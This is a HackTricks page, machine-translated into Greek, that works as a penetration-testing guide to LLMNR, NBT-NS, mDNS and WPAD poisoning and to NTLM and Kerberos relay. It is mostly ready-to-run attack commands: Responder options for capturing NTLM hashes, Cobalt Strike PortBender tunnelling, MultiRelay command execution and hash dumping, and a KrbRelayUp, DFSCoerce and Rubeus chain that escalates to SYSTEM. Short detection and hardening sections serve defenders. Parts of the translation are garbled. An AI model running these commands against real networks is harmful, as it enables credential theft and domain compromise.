Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 12 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Η Microsoft και άλλα λειτουργικά συστήματα χρησιμοποιούν LLMNR και NBT-NS για τοπική ανάλυση ονομάτων όταν αποτυγχάνει το DNS. Ομοίως, τα συστήματα της Apple και του Linux χρησιμοποιούν mDNS.
  • Αυτά τα πρωτόκολλα είναι ευάλωτα σε παρεμβολές και spoofing λόγω της μη αυθεντικοποιημένης, ραδιοφωνικής φύσης τους μέσω UDP.
  • Responder μπορεί να χρησιμοποιηθεί για να προσποιηθεί υπηρεσίες στέλνοντας πλαστές απαντήσεις σε hosts που ρωτούν αυτά τα πρωτόκολλα.
  • Περαιτέρω πληροφορίες σχετικά με την προσποίηση υπηρεσιών χρησιμοποιώντας το Responder μπορούν να βρεθούν εδώ.

Web Proxy Auto-Discovery Protocol (WPAD)

  • Το WPAD επιτρέπει στους περιηγητές να ανακαλύπτουν αυτόματα τις ρυθμίσεις του proxy.
  • Η ανακάλυψη διευκολύνεται μέσω DHCP, DNS ή εναλλακτικά μέσω LLMNR και NBT-NS αν αποτύχει το DNS.
  • Το Responder μπορεί να αυτοματοποιήσει επιθέσεις WPAD, κατευθύνοντας τους πελάτες σε κακόβουλους διακομιστές WPAD.

Responder for Protocol Poisoning

  • Responder είναι ένα εργαλείο που χρησιμοποιείται για την δηλητηρίαση ερωτημάτων LLMNR, NBT-NS και mDNS, απαντώντας επιλεκτικά με βάση τους τύπους ερωτημάτων, κυρίως στοχεύοντας υπηρεσίες SMB.
  • Έρχεται προεγκατεστημένο στο Kali Linux, ρυθμιζόμενο στο /etc/responder/Responder.conf.
  • Το Responder εμφανίζει τις καταγεγραμμένες κατακερματισμένες τιμές στην οθόνη και τις αποθηκεύει στον κατάλογο /usr/share/responder/logs.
  • Υποστηρίζει τόσο IPv4 όσο και IPv6.
  • Η έκδοση Windows του Responder είναι διαθέσιμη εδώ.

Running Responder

  • Για να τρέξετε το Responder με προεπιλεγμένες ρυθμίσεις: responder -I <Interface>
  • Για πιο επιθετική αναζήτηση (με πιθανές παρενέργειες): responder -I <Interface> -P -r -v
  • Τεχνικές για την καταγραφή προκλήσεων/απαντήσεων NTLMv1 για ευκολότερη διάσπαση: responder -I <Interface> --lm --disable-ess
  • Η προσποίηση WPAD μπορεί να ενεργοποιηθεί με: responder -I <Interface> --wpad
  • Οι αιτήσεις NetBIOS μπορούν να επιλυθούν στη διεύθυνση IP του επιτιθέμενου, και μπορεί να ρυθμιστεί ένας proxy αυθεντικοποίησης: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Η πλαστογράφηση των απαντήσεων DHCP μπορεί να δηλητηριάσει μόνιμα τις πληροφορίες δρομολόγησης ενός θύματος, προσφέροντας μια πιο διακριτική εναλλακτική λύση από την δηλητηρίαση ARP.
  • Απαιτεί ακριβή γνώση της διαμόρφωσης του δικτύου στόχου.
  • Εκτέλεση της επίθεσης: ./Responder.py -I eth0 -Pdv
  • Αυτή η μέθοδος μπορεί να καταγράψει αποτελεσματικά τους κατακερματισμούς NTLMv1/2, αλλά απαιτεί προσεκτική διαχείριση για να αποφευχθεί η διακοπή του δικτύου.

Capturing Credentials with Responder

  • Το Responder θα προσποιηθεί υπηρεσίες χρησιμοποιώντας τα παραπάνω πρωτόκολλα, καταγράφοντας διαπιστευτήρια (συνήθως NTLMv2 Challenge/Response) όταν ένας χρήστης προσπαθεί να αυθεντικοποιηθεί σε κακόβουλες υπηρεσίες.
  • Μπορούν να γίνουν προσπάθειες υποβάθμισης σε NetNTLMv1 ή απενεργοποίησης ESS για ευκολότερη διάσπαση διαπιστευτηρίων.

Είναι κρίσιμο να σημειωθεί ότι η χρήση αυτών των τεχνικών θα πρέπει να γίνεται νομίμως και ηθικά, εξασφαλίζοντας την κατάλληλη εξουσιοδότηση και αποφεύγοντας τη διακοπή ή μη εξουσιοδοτημένη πρόσβαση.

Inveigh

Το Inveigh είναι ένα εργαλείο για δοκιμαστές διείσδυσης και ομάδες κόκκινων, σχεδιασμένο για συστήματα Windows. Προσφέρει λειτουργίες παρόμοιες με το Responder, εκτελώντας επιθέσεις spoofing και man-in-the-middle. Το εργαλείο έχει εξελιχθεί από ένα script PowerShell σε ένα δυαδικό αρχείο C#, με Inveigh και InveighZero ως τις κύριες εκδόσεις. Λεπτομερείς παράμετροι και οδηγίες μπορούν να βρεθούν στο wiki.

Το Inveigh μπορεί να λειτουργήσει μέσω PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ή εκτελείται ως δυαδικό αρχείο C#:

bash
Inveigh.exe

NTLM Relay Attack

Αυτή η επίθεση εκμεταλλεύεται τις συνεδρίες αυθεντικοποίησης SMB για να αποκτήσει πρόσβαση σε μια στοχοθετημένη μηχανή, παρέχοντας ένα σύστημα shell αν είναι επιτυχής. Οι βασικές προϋποθέσεις περιλαμβάνουν:

  • Ο αυθεντικοποιούμενος χρήστης πρέπει να έχει πρόσβαση Local Admin στον αναμεταδιδόμενο υπολογιστή.
  • Η υπογραφή SMB θα πρέπει να είναι απενεργοποιημένη.

445 Port Forwarding and Tunneling

Σε σενάρια όπου η άμεση εισαγωγή δικτύου δεν είναι εφικτή, η κίνηση στην πόρτα 445 πρέπει να προωθηθεί και να τούνελ. Εργαλεία όπως το PortBender βοηθούν στην ανακατεύθυνση της κίνησης της πόρτας 445 σε άλλη πόρτα, κάτι που είναι απαραίτητο όταν υπάρχει πρόσβαση local admin για τη φόρτωση οδηγών.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Άλλα Εργαλεία για Επίθεση NTLM Relay

  • Metasploit: Ρυθμισμένο με proxies, λεπτομέρειες τοπικών και απομακρυσμένων hosts.
  • smbrelayx: Ένα script Python για την αναμετάδοση SMB συνεδριών και την εκτέλεση εντολών ή την ανάπτυξη backdoors.
  • MultiRelay: Ένα εργαλείο από τη σουίτα Responder για την αναμετάδοση συγκεκριμένων χρηστών ή όλων των χρηστών, την εκτέλεση εντολών ή την εξαγωγή hashes.

Κάθε εργαλείο μπορεί να ρυθμιστεί να λειτουργεί μέσω ενός SOCKS proxy αν χρειαστεί, επιτρέποντας επιθέσεις ακόμη και με έμμεση πρόσβαση στο δίκτυο.

Λειτουργία MultiRelay

Το MultiRelay εκτελείται από τον /usr/share/responder/tools φάκελο, στοχεύοντας συγκεκριμένες IP ή χρήστες.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Αυτά τα εργαλεία και οι τεχνικές σχηματίζουν ένα ολοκληρωμένο σύνολο για την εκτέλεση επιθέσεων NTLM Relay σε διάφορα δίκτυα.

Εξαναγκασμός NTLM Συνδέσεων

Στα Windows, μπορεί να είστε σε θέση να εξαναγκάσετε κάποιους προνομιούχους λογαριασμούς να αυθεντικοποιηθούν σε αυθαίρετες μηχανές. Διαβάστε την παρακάτω σελίδα για να μάθετε πώς:

Force NTLM Privileged Authentication

Επίθεση Kerberos Relay

Μια επίθεση Kerberos relay κλέβει ένα AP-REQ ticket από μια υπηρεσία και το επαναχρησιμοποιεί σε μια δεύτερη υπηρεσία που μοιράζεται το ίδιο κλειδί υπολογιστή (επειδή και οι δύο SPNs βρίσκονται στον ίδιο λογαριασμό μηχανής $). Αυτό λειτουργεί ακόμη και αν οι κατηγορίες υπηρεσιών των SPNs διαφέρουν (π.χ. CIFS/LDAP/) επειδή το κλειδί που αποκρυπτογραφεί το εισιτήριο είναι το NT hash της μηχανής, όχι η ίδια η συμβολοσειρά SPN και η συμβολοσειρά SPN δεν είναι μέρος της υπογραφής.

Σε αντίθεση με το NTLM relay, η μετάβαση περιορίζεται στην ίδια υποδοχή, αλλά, αν στοχεύσετε ένα πρωτόκολλο που σας επιτρέπει να γράφετε σε LDAP, μπορείτε να συνδεθείτε σε Resource-Based Constrained Delegation (RBCD) ή AD CS enrollment και να αποκτήσετε NT AUTHORITY\SYSTEM με μία μόνο κίνηση.

Για λεπτομερείς πληροφορίες σχετικά με αυτή την επίθεση, ελέγξτε:

TokenΣκοπόςΣχέση με Relay
TGT / AS-REQ ↔ REPΑποδεικνύει τον χρήστη στο KDCανέγγιχτο
Service ticket / TGS-REQ ↔ REPΣυνδεδεμένο με ένα SPN; κρυπτογραφημένο με το κλειδί του κατόχου του SPNαλληλένδετο αν τα SPNs μοιράζονται λογαριασμό
AP-REQΟ πελάτης στέλνει TGS στην υπηρεσίααυτό που κλέβουμε & επαναχρησιμοποιούμε
  • Τα εισιτήρια κρυπτογραφούνται με το κλειδί που προέρχεται από τον κωδικό πρόσβασης του λογαριασμού που κατέχει το SPN.
  • Ο Authenticator μέσα στο AP-REQ έχει χρονική σφραγίδα 5 λεπτών; η επαναχρησιμοποίηση μέσα σε αυτό το παράθυρο είναι έγκυρη μέχρι να δει η προσωρινή μνήμη της υπηρεσίας ένα αντίγραφο.
  • Τα Windows σπάνια ελέγχουν αν η συμβολοσειρά SPN στο εισιτήριο ταιριάζει με την υπηρεσία που χτυπάτε, οπότε ένα εισιτήριο για CIFS/HOST συνήθως αποκρυπτογραφείται σωστά σε LDAP/HOST.
    1. Τι πρέπει να είναι αληθινό για να γίνει relay Kerberos
  1. Κοινό κλειδί: οι πηγές και οι στόχοι SPNs ανήκουν στον ίδιο λογαριασμό υπολογιστή (προεπιλογή σε Windows servers).
  2. Καμία προστασία καναλιού: SMB/LDAP υπογραφή απενεργοποιημένη και EPA απενεργοποιημένη για HTTP/LDAPS.
  3. Μπορείτε να παγιδεύσετε ή να εξαναγκάσετε την αυθεντικοποίηση: LLMNR/NBNS δηλητηρίαση, DNS spoof, PetitPotam / DFSCoerce RPC, ψεύτικο AuthIP, κακόβουλο DCOM, κ.λπ..
  4. Η πηγή του εισιτηρίου δεν έχει ήδη χρησιμοποιηθεί: κερδίζετε τον αγώνα πριν το πραγματικό πακέτο φτάσει ή το αποκλείετε εντελώς; διαφορετικά, η προσωρινή μνήμη επαναχρησιμοποίησης του διακομιστή ενεργοποιεί το Event 4649.
  5. Πρέπει κάπως να μπορείτε να εκτελέσετε ένα MitM στην επικοινωνία, ίσως ανήκοντας στην ομάδα DNSAmins για να τροποποιήσετε το DNS του τομέα ή να μπορείτε να αλλάξετε το αρχείο HOST του θύματος.

Βήματα Kerberos Relay

  • 3.1 Αναγνώριση της υποδοχής
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Ξεκινήστε τον δέκτη αναμετάδοσης

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp περιλαμβάνει KrbRelay → LDAP → RBCD → Rubeus → SCM bypass σε ένα εκτελέσιμο αρχείο.

  • 3.3 Εξαναγκασμός αυθεντικοποίησης Kerberos
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce κάνει το DC να μας στείλει ένα Kerberos CIFS/DC01 εισιτήριο.

  • 3.4 Μεταφορά του AP-REQ

Το KrbRelay εξάγει το GSS blob από το SMB, το επανασυσκευάζει σε μια σύνδεση LDAP και το προωθεί στο ldap://DC01—η αυθεντικοποίηση επιτυγχάνεται επειδή το ίδιο κλειδί το αποκρυπτογραφεί.

  • 3.5 Κατάχρηση LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Περισσότεροι δρόμοι που αξίζει να γνωρίζετε

VectorTrickWhy it matters
AuthIP / IPSecΨεύτικος διακομιστής στέλνει ένα GSS-ID payload με οποιοδήποτε SPN; ο πελάτης δημιουργεί ένα AP-REQ κατευθείαν σε εσάςΛειτουργεί ακόμη και σε υποδίκτυα; διαπιστευτήρια μηχανής από προεπιλογή
DCOM / MSRPCΚακόβουλος OXID resolver αναγκάζει τον πελάτη να αυθεντικοποιηθεί σε αυθαίρετο SPN και θύραΚαθαρή τοπική εκμετάλλευση δικαιωμάτων; παρακάμπτει το τείχος προστασίας
AD CS Web EnrollΜεταβιβάστε το μηχάνημα εισιτηρίου σε HTTP/CA και αποκτήστε ένα πιστοποιητικό, στη συνέχεια PKINIT για να δημιουργήσετε TGTsΠαρακάμπτει τις άμυνες υπογραφής LDAP
Shadow CredentialsΓράψτε msDS-KeyCredentialLink, στη συνέχεια PKINIT με ψεύτικο ζεύγος κλειδιώνΔεν χρειάζεται να προσθέσετε έναν λογαριασμό υπολογιστή

Αντιμετώπιση προβλημάτων

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDΚλειδί εισιτηρίου ≠ κλειδί στόχουΛάθος host/SPN
KRB_AP_ERR_SKEWΡολόι > 5 λεπτά απόκλισηΣυγχρονίστε την ώρα ή χρησιμοποιήστε w32tm
Αποτυχία σύνδεσης LDAPΗ υπογραφή επιβάλλεταιΧρησιμοποιήστε τη διαδρομή AD CS ή απενεργοποιήστε την υπογραφή
Spam Event 4649Η υπηρεσία είδε διπλό Authenticatorμπλοκάρετε ή αγωνιστείτε το αρχικό πακέτο

Ανίχνευση

  • Άνοδος σε Event 4769 για CIFS/, HTTP/, LDAP/ από την ίδια πηγή εντός δευτερολέπτων.
  • Event 4649 στην υπηρεσία υποδεικνύει ανίχνευση επανάληψης.
  • Η σύνδεση Kerberos από 127.0.0.1 (μεταφορά σε τοπικό SCM) είναι εξαιρετικά ύποπτη—χαρτογραφήστε μέσω κανόνα Sigma στα έγγραφα KrbRelayUp.
  • Παρακολουθήστε τις αλλαγές στα χαρακτηριστικά msDS-AllowedToActOnBehalfOfOtherIdentity ή msDS-KeyCredentialLink.

Σκληραγώγηση

  1. Επιβάλλετε την υπογραφή LDAP & SMB + EPA σε κάθε διακομιστή.
  2. Διαχωρίστε τα SPNs ώστε το HTTP να μην είναι στον ίδιο λογαριασμό με το CIFS/LDAP.
  3. Ενημερώστε τα διακυβερνητικά διακυβερνητικά (PetitPotam KB5005413, DFS, AuthIP).
  4. Ορίστε ms-DS-MachineAccountQuota = 0 για να σταματήσετε τις κακόβουλες προσχωρήσεις υπολογιστών.
  5. Ειδοποιήστε για Event 4649 και απροσδόκητες συνδέσεις Kerberos loopback.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks